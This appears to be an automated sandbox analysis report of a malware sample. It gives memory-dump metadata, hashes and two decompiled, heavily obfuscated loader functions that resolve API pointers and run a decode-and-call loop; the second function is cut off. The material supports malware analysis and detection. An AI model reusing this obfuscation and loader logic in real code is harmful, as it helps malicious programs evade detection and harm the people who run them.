0x031e45fe
0x031e4603
0x031e460d
0x031e4611
0x031e4614
0x031e461a
0x031e4621
0x031e4624
0x031e462b
0x031e462e
0x031e4631
0x031e463d
0x031e4644
0x031e464a
0x031e4654
0x031e4657
0x031e465b
0x031e465f
0x031e4662
0x031e4668
0x031e4672
0x031e4675
0x031e4681
0x031e4688
0x031e468e
0x031e4695
0x031e4698
0x031e46a1
0x031e46a5
0x031e46af
0x031e46b2
0x031e46b9
0x031e46bc
0x031e46bf
0x031e46c5
0x031e46cf
0x031e46d2
0x031e46d8
0x031e46e0
0x031e46e7
0x031e46f2
0x031e46f5
0x031e46f8
0x031e4700
0x031e4704
0x031e470a
0x031e4710
0x031e471a
0x031e471d
0x031e4729
0x031e4730
0x031e4736
0x031e4741
0x031e4743
0x031e4744
0x031e474a
0x031e4754
0x031e4757
0x031e475d
0x031e4767
0x031e476a
0x031e4773
0x031e4776
0x031e4781
0x031e4788
0x031e478b
0x031e478e
0x031e4791
0x031e4792
0x031e4793
0x031e47a0
0x031e47a5
0x031e47a7
0x031e47ad
0x031e47b4
0x031e47b7
0x031e47bd
0x031e47c4
0x031e47c7
0x031e47c7
0x031e47cd
0x031e47d4
0x031e47da
0x031e47dd
0x031e47ed
0x031e47f4
0x031e47f7
0x031e47fa
0x031e4800
0x031e4807
0x031e480a
0x031e4812
0x031e4819
0x031e481f
0x031e4820
0x031e4821
0x031e4828
0x031e482b
0x031e482e
0x031e482f
0x031e4835
0x031e4836
0x031e4839
0x031e483b
0x031e4846
0x031e4848
0x031e4849
0x031e4849
0x031e4850
0x031e4856
0x031e4857
0x031e485b
0x031e485c
0x031e485e
0x031e4860
0x031e4861
0x031e4861
0x031e4861
0x031e4868
0x031e486b
0x031e486e
0x031e4875
0x031e4879
0x031e487c
0x031e4883
0x031e4887
0x031e488a
0x031e4890
0x031e4898
0x031e489f
0x031e48a8
0x031e48c1

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e380f32c42c4f0e1bdcf2094019efc4a4f59e296a005b21612e1bc21532986cf
Instruction ID: dd6276b00bf7a6829acd6dffce4fe97abe991a21f643a3d52197990e2181b3ec
Opcode Fuzzy Hash: e380f32c42c4f0e1bdcf2094019efc4a4f59e296a005b21612e1bc21532986cf
Instruction Fuzzy Hash: 674235728442088FEF04DFA4C8897EEBBF1FF48310F19856ED889AA155DB385525CF69

Uniqueness

Uniqueness Score: -1.00%

Function 031E1CD0, Relevance: .6, Instructions: 565
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E031E1CD0(void* __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t326;
				signed int _t329;
				void* _t331;
				void* _t332;
				signed int _t336;
				signed int _t339;
				signed int _t344;
				signed int _t345;
				signed int _t348;
				intOrPtr _t353;
				signed int _t356;
				signed int _t359;
				void* _t361;
				void* _t362;
				signed int _t367;
				signed int _t368;
				signed int _t370;
				void* _t372;
				void* _t373;
				void* _t377;
				intOrPtr _t378;
				intOrPtr _t380;
				signed int _t382;
				signed int _t385;
				signed int _t387;
				void* _t389;
				signed int _t390;
				signed int _t392;
				signed int _t395;
				void* _t397;
				void* _t399;
				signed int _t400;
				signed int _t415;
				signed int _t418;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t427;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t444;
				signed int _t446;
				signed int _t453;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t461;
				signed int _t467;
				signed int _t470;
				signed int _t476;
				signed int _t479;
				signed int _t482;
				signed int _t485;
				void* _t489;
				signed int _t491;
				signed int _t494;
				signed int _t497;
				signed int _t499;
				signed int _t502;
				signed int _t504;
				signed int _t507;
				signed int _t510;
				signed int _t513;
				void* _t516;
				signed int _t518;
				signed int _t529;
				signed int _t532;
				signed int _t535;
				signed int _t537;
				signed int _t540;
				signed int _t543;
				signed int _t546;
				signed int _t549;
				signed int _t552;
				void* _t561;
				void* _t565;
				signed int _t566;
				void* _t569;
				signed int _t572;
				signed int _t576;
				signed int* _t577;
				signed int* _t578;
				signed int* _t579;
				signed int* _t580;
				signed int* _t581;
				signed int* _t582;
				signed int* _t583;

				_t467 = __edx;
				_t422 = __ebx;
				_push(__esi);
				 *_t576 =  *_t576 & 0x00000000;
				 *_t576 =  *_t576 + _t565;
				_t566 = _t576;
				_t577 = _t576 + 0xfffffff0;
				_v20 = 0;
				_push(_v20);
				 *_t577 =  *_t577 + __ebx + 0x41d081;
				_t326 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(__esi);
				 *(__ebx + 0x41d148) =  *(__ebx + 0x41d148) & 0x00000000;
				 *(__ebx + 0x41d148) =  *(__ebx + 0x41d148) | __esi -  *_t577 ^ _t326;
				_pop(_t529);
				_push(__ebx);
				 *_t577 =  *_t577 & 0x00000000;
				 *_t577 =  *_t577 + __ebx + 0x41c850;
				_push(_v16);
				 *_t577 = __ebx + 0x41cbc9;
				_t329 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(__ebx);
				 *_t577 =  *_t577 - __ebx;
				 *_t577 = _t329;
				_push(__edi);
				 *_t577 =  *_t577 ^ __edi;
				 *_t577 =  *_t577 + __ebx + 0x41cab2;
				_t331 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t15);
				_push(__edi);
				 *_t17 = _t331;
				_v12 = _v12 + (__ecx & 0x00000000 | _v20);
				_push(_v12);
				_pop(_t332);
				_pop(_t497);
				_push( *((intOrPtr*)(__ebx + 0x41ca2b)));
				_pop( *_t22);
				_push(_v16);
				_pop(_t431);
				if(_t431 > _t332) {
					_v20 = 0;
					_push(_v20);
					 *_t577 =  *_t577 + __ebx + 0x41cbc9;
					_push(_v20);
					 *_t577 = __ebx + 0x41cab2;
					_t421 =  *((intOrPtr*)(__ebx + 0x41f064))();
					_v20 = _t431;
					 *(__ebx + 0x41ce2d) = 0 ^ _t421;
					_t431 = _v20;
				}
				_t578 = _t577 - 0xfffffffc;
				 *_t578 =  *_t578 & 0x00000000;
				 *_t578 =  *_t578 |  *_t577;
				_v20 = 0;
				 *_t578 =  *_t578 ^ _t422 + 0x0041c95a;
				_t336 =  *((intOrPtr*)(_t422 + 0x41f060))(_v20, _t566);
				_v20 = _t467;
				 *(_t422 + 0x41cd3d) = 0 ^ _t336;
				_t470 = _v20;
				 *_t578 =  *_t578 & 0x00000000;
				 *_t578 =  *_t578 ^ _t422 + 0x0041c799;
				 *_t578 =  *_t578 ^ _t431;
				 *_t578 =  *_t578 ^ _t422 + 0x0041d050;
				_t339 =  *((intOrPtr*)(_t422 + 0x41f060))(_t431, _t529);
				_v20 = _t529;
				 *(_t422 + 0x41d0f6) =  *(_t422 + 0x41d0f6) & 0x00000000;
				 *(_t422 + 0x41d0f6) =  *(_t422 + 0x41d0f6) ^ _t529 & 0x00000000 ^ _t339;
				_t532 = _v20;
				_t579 =  &(_t578[1]);
				_v20 = 0;
				 *_t579 =  *_t579 + (_t339 & 0x00000000) +  *_t578;
				_v16 = _v16 & 0x00000000;
				 *_t579 =  *_t579 + _t422 + 0x41c952;
				_v16 = 0;
				 *_t579 =  *_t579 ^ _t422 + 0x0041cbdd;
				_t344 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v16, _v20);
				_v20 = _t532;
				 *(_t422 + 0x41c459) =  *(_t422 + 0x41c459) & 0x00000000;
				 *(_t422 + 0x41c459) =  *(_t422 + 0x41c459) | _t532 - _v20 | _t344;
				_t535 = _v20;
				_t345 =  *((intOrPtr*)(_t422 + 0x41f068))();
				 *_t579 = _t345;
				_v12 = _v12 & 0x00000000;
				 *_t579 =  *_t579 ^ _t422 + 0x0041c361;
				_v16 = _v16 & 0x00000000;
				 *_t579 =  *_t579 + _t422 + 0x41c569;
				_t348 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v12, _v20);
				_v20 = _t470;
				 *(_t422 + 0x41ca96) =  *(_t422 + 0x41ca96) & 0x00000000;
				 *(_t422 + 0x41ca96) =  *(_t422 + 0x41ca96) | _t470 & 0x00000000 ^ _t348;
				_t580 =  &(_t579[1]);
				 *(_t422 + 0x41d322) =  *(_t422 + 0x41d322) & 0x00000000;
				 *(_t422 + 0x41d322) =  *(_t422 + 0x41d322) | _t566 ^  *_t580 |  *_t579;
				_t569 = _t566;
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 + _t422 + 0x41c29c;
				_v16 = 0;
				 *_t580 =  *_t580 + _t422 + 0x41c80d;
				_t353 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v12);
				_v12 = _v20;
				 *((intOrPtr*)(_t422 + 0x41c28c)) = _t353;
				_t476 = _v12;
				 *_t580 = _t497;
				 *_t580 = _t422 + 0x41ce81;
				 *_t580 = _t422 + 0x41cad0;
				_t356 =  *((intOrPtr*)(_t422 + 0x41f068))(_v20, _v20, _v20);
				 *(_t422 + 0x41c00b) =  *(_t422 + 0x41c00b) & 0x00000000;
				 *(_t422 + 0x41c00b) =  *(_t422 + 0x41c00b) | _t476 ^  *_t580 | _t356;
				_t479 = _t476;
				 *_t580 =  *_t580 - _t497;
				 *_t580 = _t422 + 0x41c333;
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 | _t422 + 0x0041c5ab;
				_t359 =  *((intOrPtr*)(_t422 + 0x41f060))(_v12, _t497);
				 *_t580 = _t359;
				 *_t580 =  *_t580 - _t535;
				 *_t580 =  *_t580 | _t422 + 0x0041cfa2;
				_t361 =  *((intOrPtr*)(_t422 + 0x41f060))(_v12);
				 *_t117 = _t535;
				_t432 = _v16;
				 *_t119 = _t361;
				_v16 = _v16 + _t432;
				_push(_v16);
				_pop(_t362);
				_t499 = _t497;
				_v12 = _t499;
				_t434 = _t432 & 0x00000000 | _t499 ^ _v12 ^  *(_t422 + 0x41ce17);
				_t502 = _v12;
				if(_t434 > _t362) {
					 *_t580 = _t422 + 0x41c5ab;
					_v20 = 0;
					 *_t580 =  *_t580 | _t422 + 0x0041cfa2;
					_t418 =  *((intOrPtr*)(_t422 + 0x41f064))(_v20, _v16);
					_v20 = _t502;
					 *(_t422 + 0x41cc6a) = 0 ^ _t418;
					_t502 = _v20;
				}
				_pop( *_t136);
				 *_t580 = 0 ^ _v16;
				 *_t580 =  *_t580 - _t535;
				 *_t580 =  *_t580 + _t422 + 0x41d2cb;
				 *_t580 =  *_t580 & 0x00000000;
				 *_t580 =  *_t580 | _t422 + 0x0041d0da;
				_t367 =  *((intOrPtr*)(_t422 + 0x41f068))(_t422, _t535, _v16);
				 *(_t422 + 0x41c44e) =  *(_t422 + 0x41c44e) & 0x00000000;
				 *(_t422 + 0x41c44e) =  *(_t422 + 0x41c44e) | _t434 & 0x00000000 | _t367;
				_t437 = _t434;
				_t368 =  *((intOrPtr*)(_t422 + 0x41f060))();
				 *_t580 = _t368;
				_v16 = 0;
				 *_t580 =  *_t580 ^ _t422 + 0x0041d2e3;
				_t370 =  *((intOrPtr*)(_t422 + 0x41f060))(_v16, _v12);
				_v16 = 0;
				 *_t580 =  *_t580 ^ _t370;
				 *_t580 =  *_t580 & 0x00000000;
				 *_t580 =  *_t580 ^ _t422 + 0x0041cf21;
				_t372 =  *((intOrPtr*)(_t422 + 0x41f060))(_v16);
				 *_t156 = _t569;
				_t439 = (_t437 & 0x00000000) + _v20;
				 *_t158 = _t372;
				_v12 = _v12 + _t439;
				_push(_v12);
				_pop(_t373);
				_t424 = _t422;
				_v20 = _t479;
				_t441 = _t439 & 0x00000000 | _t479 & 0x00000000 |  *(_t424 + 0x41d124);
				_t482 = _v20;
				if(_t441 > _t373) {
					_t165 = _t424 + 0x41d2e3; // 0x41d2e3
					 *_t580 =  *_t580 & 0x00000000;
					 *_t580 =  *_t580 | _t165;
					_t166 = _t424 + 0x41cf21; // 0x41cf21
					 *_t580 = _t166;
					_t415 =  *((intOrPtr*)(_t424 + 0x41f064))(_v20, _t482);
					_v12 = _t441;
					 *(_t424 + 0x41c275) = 0 ^ _t415;
					_t441 = _v12;
				}
				_pop( *_t172);
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 ^ _v16;
				_t177 = _t424 + 0x41c5c8; // 0x41c5c8
				_v16 = _v16 & 0x00000000;
				 *_t580 =  *_t580 | _t177;
				_t377 =  *((intOrPtr*)(_t424 + 0x41f060))(_v16, _v12);
				_t581 =  &(_t580[1]);
				 *_t182 = _t377;
				_v20 = _v20 + (_t441 & 0x00000000 ^  *_t580);
				_push(_v20);
				_pop(_t378);
				_t537 = _t535;
				 *_t581 = _t537;
				_t444 = 0 ^  *(_t424 + 0x41c106);
				_t540 = 0;
				if(_t444 > _t378) {
					_t187 = _t424 + 0x41c333; // 0x41c333
					_v12 = 0;
					 *_t581 =  *_t581 | _t187;
					_t190 = _t424 + 0x41c5c8; // 0x41c5c8
					 *_t581 =  *_t581 ^ _t444;
					 *_t581 = _t190;
					_t378 =  *((intOrPtr*)(_t424 + 0x41f064))(_t444, _v12);
				}
				_v16 = _t540;
				 *((intOrPtr*)(_t424 + 0x41c594)) = _t378;
				_t543 = _v16;
				_t446 = _t444 & 0x00000000 ^ (_t424 ^  *_t581 | _a4);
				_t427 = _t424;
				_v12 = 0;
				 *_t581 =  *_t581 + _t446;
				_t198 = _t427 + 0x41ccb8; // 0x41ccb8
				_v12 = 0;
				 *_t581 =  *_t581 | _t198;
				_t380 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, _v12);
				_v20 = _t446;
				 *((intOrPtr*)(_t427 + 0x41cb42)) = _t380;
				_pop( *_t205);
				_t504 = _t502 & 0x00000000 | _t482 -  *_t581 | _v16;
				_t485 = _t482;
				_t207 = _t427 + 0x41d2a5; // 0x41d2a5
				 *_t581 =  *_t581 ^ _t504;
				 *_t581 =  *_t581 ^ _t207;
				_t382 =  *((intOrPtr*)(_t427 + 0x41f060))(_t504);
				 *(_t427 + 0x41cba6) =  *(_t427 + 0x41cba6) & 0x00000000;
				 *(_t427 + 0x41cba6) =  *(_t427 + 0x41cba6) | _t504 & 0x00000000 ^ _t382;
				_t507 = _t504;
				_t572 = _t569;
				_t213 = _t427 + 0x41c4f4; // 0x41c4f4
				_v16 = _v16 & 0x00000000;
				 *_t581 =  *_t581 | _t213;
				_t217 = _t427 + 0x41c4e9; // 0x41c4e9
				 *_t581 =  *_t581 ^ _t485;
				 *_t581 = _t217;
				_t385 =  *((intOrPtr*)(_t427 + 0x41f068))(_t485, _v16);
				_v12 = _t543;
				 *(_t427 + 0x41cc3a) =  *(_t427 + 0x41cc3a) & 0x00000000;
				 *(_t427 + 0x41cc3a) =  *(_t427 + 0x41cc3a) ^ (_t543 ^ _v12 | _t385);
				_t546 = _v12;
				_v16 = _t485;
				_v8 = _t507;
				_t229 = _t427 + 0x41c0f6; // 0x41c0f6
				 *_t581 = _t229;
				_t387 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20);
				 *_t581 = _t387;
				_t233 = _t427 + 0x41c3d8; // 0x41c3d8
				_v20 = _v20 & 0x00000000;
				 *_t581 =  *_t581 ^ _t233;
				_t389 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20, _v12);
				_t453 =  *_t581;
				_t582 =  &(_t581[1]);
				 *_t582 =  *_t582 + _v16;
				_t489 = _t389;
				_t390 = _t489 + _t453;
				_t491 = 0;
				_t455 = _t453 & 0x00000000 ^ _t507 -  *_t582 ^  *(_t427 + 0x41ce7d);
				_t510 = _t507;
				if(_t455 > _t390) {
					_t239 = _t427 + 0x41c0f6; // 0x41c0f6
					_v12 = 0;
					 *_t582 =  *_t582 ^ _t239;
					_t242 = _t427 + 0x41c3d8; // 0x41c3d8
					 *_t582 =  *_t582 & 0x00000000;
					 *_t582 =  *_t582 + _t242;
					_t390 =  *((intOrPtr*)(_t427 + 0x41f064))(_t491, _v12);
				}
				 *(_t427 + 0x41cf5f) =  *(_t427 + 0x41cf5f) & 0x00000000;
				 *(_t427 + 0x41cf5f) =  *(_t427 + 0x41cf5f) | _t546 ^  *_t582 | _t390;
				_t549 = _t546;
				_t248 = _t427 + 0x41c2c4; // 0x41c2c4
				_v12 = 0;
				 *_t582 =  *_t582 | _t248;
				_t392 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, 0);
				_v12 = _t510;
				 *(_t427 + 0x41c193) =  *(_t427 + 0x41c193) & 0x00000000;
				 *(_t427 + 0x41c193) =  *(_t427 + 0x41c193) | _t510 - _v12 ^ _t392;
				_t513 = _v12;
				 *((intOrPtr*)(_t427 + 0x41f080))();
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 ^ _t455;
				_t260 = _t427 + 0x41d1a0; // 0x41d1a0
				_v12 = _v12 & 0x00000000;
				 *_t582 =  *_t582 ^ _t260;
				_t395 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, _t572);
				_v12 = _t491;
				 *(_t427 + 0x41c59c) =  *(_t427 + 0x41c59c) & 0x00000000;
				 *(_t427 + 0x41c59c) =  *(_t427 + 0x41c59c) | _t491 - _v12 | _t395;
				_t494 = _v12;
				_pop( *_t272);
				_t456 = _v20;
				do {
					_v8 = _v8 - 1;
					 *_t582 =  *_t582 & 0x00000000;
					 *_t582 =  *_t582 + _t456;
					_t276 = _t427 + 0x41ccae; // 0x41ccae
					_v20 = 0;
					 *_t582 =  *_t582 + _t276;
					_t397 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20, _t572);
					_v16 = _v16 & 0x00000000;
					 *_t582 =  *_t582 + _t397;
					_t283 = _t427 + 0x41c045; // 0x41c045
					 *_t582 = _t283;
					_t399 =  *((intOrPtr*)(_t427 + 0x41f060))(_v16, _v16);
					_pop( *_t286);
					_t457 = _v20;
					_v12 = _t549;
					_push(_t457 + _t399);
					_t552 = _v12;
					_pop(_t400);
					_t572 = _t572;
					if((_t457 & 0x00000000 | _t572 & 0x00000000 ^  *(_t427 + 0x41c40d)) > _t400) {
						_t291 = _t427 + 0x41ccae; // 0x41ccae
						_v12 = _v12 & 0x00000000;
						 *_t582 =  *_t582 | _t291;
						_t295 = _t427 + 0x41c045; // 0x41c045
						_v12 = 0;
						 *_t582 =  *_t582 ^ _t295;
						_t400 =  *((intOrPtr*)(_t427 + 0x41f064))(_v12, _v12);
						_v16 = _t552;
						 *(_t427 + 0x41d2c3) =  *(_t427 + 0x41d2c3) & 0x00000000;
						 *(_t427 + 0x41d2c3) =  *(_t427 + 0x41d2c3) | _t552 & 0x00000000 ^ _t400;
						_t552 = _v16;
					}
					_t461 =  *_t582;
					_t583 =  &(_t582[1]);
					_v20 = _t552;
					_v12 = _v20;
					_t516 = _a4 + (_t513 & 0x00000000 ^ (_t552 & 0x00000000 | _t461));
					_v20 = _v20 & 0x00000000;
					_push(_v20);
					 *_t583 =  *_t583 | _t461;
					_v16 = _t400;
					_push(_a8 + _t516 + 1);
					_pop(_t518);
					_push(_v12);
					_pop(_t561);
					 *((intOrPtr*)(_t427 + 0x41f0c0))();
					_t549 =  *_t583;
					 *_t583 = _v8;
					 *_t583 =  *_t583 & 0x00000000;
					 *_t583 =  *_t583 + (_t518 | _a4) + 1;
					_t513 =  *_t583;
					 *_t583 = _a8;
					E031E31B3(_t427, _t494, _t513, _t549, (_t518 | _a4) + 1, _t572, _t561);
					_t456 =  *_t583;
					_t582 = _t583 - 0xfffffffc;
				} while (_v8 != 0);
				_pop( *_t323);
				return 0;
			}

0x031e1cd0
0x031e1cd0
0x031e1cd0
0x031e1cd1
0x031e1cd5
0x031e1cd8
0x031e1cda
0x031e1ce3
0x031e1cea
0x031e1ced
0x031e1cf0
0x031e1cf6
0x031e1cfc
0x031e1d03
0x031e1d09
0x031e1d10
0x031e1d11
0x031e1d15
0x031e1d1e
0x031e1d21
0x031e1d24
0x031e1d2a
0x031e1d2b
0x031e1d2e
0x031e1d37
0x031e1d38
0x031e1d3b
0x031e1d3e
0x031e1d4a
0x031e1d50
0x031e1d54
0x031e1d57
0x031e1d5a
0x031e1d5d
0x031e1d5e
0x031e1d5f
0x031e1d65
0x031e1d68
0x031e1d6b
0x031e1d6e
0x031e1d76
0x031e1d7d
0x031e1d80
0x031e1d89
0x031e1d8c
0x031e1d8f
0x031e1d95
0x031e1d9c
0x031e1da2
0x031e1da2
0x031e1daa
0x031e1dae
0x031e1db2
0x031e1dbb
0x031e1dc5
0x031e1dc8
0x031e1dce
0x031e1dd5
0x031e1ddb
0x031e1de5
0x031e1de9
0x031e1df3
0x031e1df6
0x031e1df9
0x031e1dff
0x031e1e07
0x031e1e0e
0x031e1e14
0x031e1e20
0x031e1e23
0x031e1e2d
0x031e1e36
0x031e1e3d
0x031e1e46
0x031e1e50
0x031e1e53
0x031e1e59
0x031e1e61
0x031e1e68
0x031e1e6e
0x031e1e71
0x031e1e7a
0x031e1e83
0x031e1e8a
0x031e1e93
0x031e1e9a
0x031e1e9d
0x031e1ea3
0x031e1eab
0x031e1eb2
0x031e1ec0
0x031e1ec9
0x031e1ed0
0x031e1ed6
0x031e1edd
0x031e1ee4
0x031e1eed
0x031e1ef7
0x031e1efa
0x031e1f00
0x031e1f07
0x031e1f0d
0x031e1f13
0x031e1f1f
0x031e1f2b
0x031e1f2e
0x031e1f3a
0x031e1f41
0x031e1f47
0x031e1f4f
0x031e1f52
0x031e1f5b
0x031e1f62
0x031e1f65
0x031e1f6e
0x031e1f78
0x031e1f7b
0x031e1f7e
0x031e1f84
0x031e1f87
0x031e1f8e
0x031e1f91
0x031e1f94
0x031e1f97
0x031e1f98
0x031e1f99
0x031e1fa8
0x031e1faa
0x031e1faf
0x031e1fba
0x031e1fc3
0x031e1fcd
0x031e1fd0
0x031e1fd6
0x031e1fdd
0x031e1fe3
0x031e1fe3
0x031e1fe8
0x031e1ff1
0x031e1ffb
0x031e1ffe
0x031e2008
0x031e200c
0x031e200f
0x031e201b
0x031e2022
0x031e2028
0x031e2029
0x031e2032
0x031e203b
0x031e2045
0x031e2048
0x031e204e
0x031e2058
0x031e2062
0x031e2066
0x031e2069
0x031e2075
0x031e2078
0x031e207f
0x031e2082
0x031e2085
0x031e2088
0x031e2089
0x031e208a
0x031e2099
0x031e209b
0x031e20a0
0x031e20a2
0x031e20a9
0x031e20ad
0x031e20b0
0x031e20b9
0x031e20bc
0x031e20c2
0x031e20c9
0x031e20cf
0x031e20cf
0x031e20d4
0x031e20da
0x031e20e1
0x031e20e4
0x031e20ea
0x031e20f1
0x031e20f4
0x031e2103
0x031e210a
0x031e210d
0x031e2110
0x031e2113
0x031e2114
0x031e2117
0x031e2122
0x031e2124
0x031e2127
0x031e2129
0x031e212f
0x031e2139
0x031e213c
0x031e2143
0x031e2146
0x031e2149
0x031e2149
0x031e214f
0x031e2156
0x031e215c
0x031e2169
0x031e216b
0x031e216c
0x031e2176
0x031e2179
0x031e217f
0x031e2189
0x031e218c
0x031e2192
0x031e2199
0x031e21a2
0x031e21b1
0x031e21b3
0x031e21b4
0x031e21bb
0x031e21be
0x031e21c1
0x031e21cd
0x031e21d4
0x031e21da
0x031e21e2
0x031e21e3
0x031e21e9
0x031e21f0
0x031e21f3
0x031e21fa
0x031e21fd
0x031e2200
0x031e2206
0x031e220e
0x031e2215
0x031e221b
0x031e221e
0x031e2225
0x031e222b
0x031e2234
0x031e2237
0x031e2240
0x031e2243
0x031e2249
0x031e2250
0x031e2253
0x031e225b
0x031e225e
0x031e2263
0x031e2267
0x031e226a
0x031e226c
0x031e227a
0x031e227c
0x031e227f
0x031e2281
0x031e2287
0x031e2291
0x031e2294
0x031e229b
0x031e229f
0x031e22a2
0x031e22a2
0x031e22ae
0x031e22b5
0x031e22bb
0x031e22be
0x031e22c4
0x031e22ce
0x031e22d1
0x031e22d7
0x031e22df
0x031e22e6
0x031e22ec
0x031e22ef
0x031e22f6
0x031e22fa
0x031e22fd
0x031e2303
0x031e230a
0x031e230d
0x031e2313
0x031e231b
0x031e2322
0x031e2328
0x031e232b
0x031e232e
0x031e2331
0x031e2331
0x031e2335
0x031e2339
0x031e233c
0x031e2342
0x031e234c
0x031e234f
0x031e2355
0x031e235c
0x031e235f
0x031e2368
0x031e236b
0x031e2371
0x031e2374
0x031e2377
0x031e237e
0x031e237f
0x031e2382
0x031e2392
0x031e2395
0x031e2397
0x031e239d
0x031e23a4
0x031e23a7
0x031e23ad
0x031e23b7
0x031e23ba
0x031e23c0
0x031e23c8
0x031e23cf
0x031e23d5
0x031e23d5
0x031e23da
0x031e23dd
0x031e23e0
0x031e23f0
0x031e23fc
0x031e23fe
0x031e2402
0x031e2405
0x031e2408
0x031e2410
0x031e2414
0x031e2415
0x031e241d
0x031e241f
0x031e2429
0x031e2429
0x031e242d
0x031e2431
0x031e2438
0x031e2438
0x031e243b
0x031e2442
0x031e2445
0x031e2448
0x031e245d
0x031e2464

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d30f7688323fef24dea233773f5addaff03df6641283267fa772f8f98102af
Instruction ID: 18e0bf863edadc36dde84867423b40de3b613f211e9ba50a93d8e0d054aaa766
Opcode Fuzzy Hash: 39d30f7688323fef24dea233773f5addaff03df6641283267fa772f8f98102af
Instruction Fuzzy Hash: 7B420572C44218EFEF049FA0C8897EEBBF5FF48321F0544AAD899AA145D7345264CF59

Uniqueness

Uniqueness Score: -1.00%

Function 031E43D8, Relevance: .4, Instructions: 371
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E031E43D8(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				void* _t202;
				void* _t204;
				signed int _t205;
				signed int _t210;
				void* _t212;
				void* _t213;
				signed int _t217;
				signed int _t220;
				signed int _t223;
				signed int _t228;
				void* _t230;
				void* _t232;
				intOrPtr _t233;
				void _t236;
				signed int _t240;
				intOrPtr _t246;
				signed int _t251;
				signed int _t253;
				signed int _t261;
				signed int _t264;
				signed int _t266;
				signed int _t274;
				signed int _t276;
				signed int _t278;
				signed int _t280;
				signed int _t283;
				void* _t286;
				signed int _t293;
				signed int _t294;
				signed int _t305;
				signed int _t306;
				signed int _t311;
				signed int _t314;
				signed int _t316;
				signed int _t318;
				signed int _t320;
				signed int _t323;
				signed int _t326;
				signed int _t330;
				signed int _t334;
				signed int _t337;
				signed int _t340;
				signed int _t343;
				void* _t348;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				void* _t364;
				signed int _t366;
				signed int _t369;
				signed int* _t370;
				signed int* _t371;
				signed int* _t372;
				signed int* _t373;
				signed int* _t374;
				signed int* _t375;
				signed int* _t376;
				signed int* _t377;

				_t355 = __esi;
				_t337 = __edi;
				 *_t370 =  *_t370 - _t366;
				 *_t370 = __ebx + 0x41c5e4;
				_t202 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t366 - 0x1c) = 0;
				_push( *(_t366 - 0x1c));
				 *_t370 =  *_t370 + _t202;
				_push(__edi);
				 *_t370 =  *_t370 ^ __edi;
				 *_t370 =  *_t370 | __ebx + 0x0041c129;
				_t204 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t274 = (__ecx & 0x00000000) +  *_t370;
				_t371 = _t370 - 0xfffffffc;
				 *(_t366 - 0x1c) = __ebx;
				_push(_t274 + _t204);
				_t261 =  *(_t366 - 0x1c);
				_pop(_t205);
				_push(__edx);
				_t276 = _t274 & 0x00000000 | __edx ^  *_t371 |  *(_t261 + 0x41c62b);
				_pop(_t305);
				if(_t276 > _t205) {
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 ^ _t261 + 0x0041c5e4;
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 + _t261 + 0x41c129;
					_t205 =  *((intOrPtr*)(_t261 + 0x41f064))(_t366, __esi);
				}
				 *_t371 = _t355;
				 *(_t261 + 0x41d040) = 0 ^ _t205;
				_t358 = 0;
				if( *((intOrPtr*)(_t366 - 0x10)) == 4) {
					_t15 = _t261 + 0x41d1be; // 0x41d1be
					 *_t371 = _t15;
					_t17 = _t261 + 0x41c0a8; // 0x41c0a8
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 ^ _t17;
					_push( *((intOrPtr*)(_t261 + 0x41f068))(_t358,  *(_t366 - 0x24)));
					_pop( *_t19);
					_push( *(_t366 - 0x20));
					_pop( *_t21);
					 *((intOrPtr*)(_t366 - 8)) = 1;
					_t23 = _t261 + 0x41c6f8; // 0x41c6f8
					 *(_t366 - 0x20) =  *(_t366 - 0x20) & 0x00000000;
					 *_t371 =  *_t371 ^ _t23;
					_t251 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x20));
					 *(_t366 - 0x20) = _t305;
					 *(_t261 + 0x41c674) =  *(_t261 + 0x41c674) & 0x00000000;
					 *(_t261 + 0x41c674) =  *(_t261 + 0x41c674) | _t305 ^  *(_t366 - 0x20) | _t251;
					_t334 =  *(_t366 - 0x20);
					 *((intOrPtr*)(_t366 - 0xc)) = 0x55;
					_t36 = _t261 + 0x41c356; // 0x41c356
					 *(_t366 - 0x1c) =  *(_t366 - 0x1c) & 0x00000000;
					 *_t371 =  *_t371 | _t36;
					_t253 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x1c));
					 *(_t366 - 0x24) = _t337;
					 *(_t261 + 0x41cd7d) =  *(_t261 + 0x41cd7d) & 0x00000000;
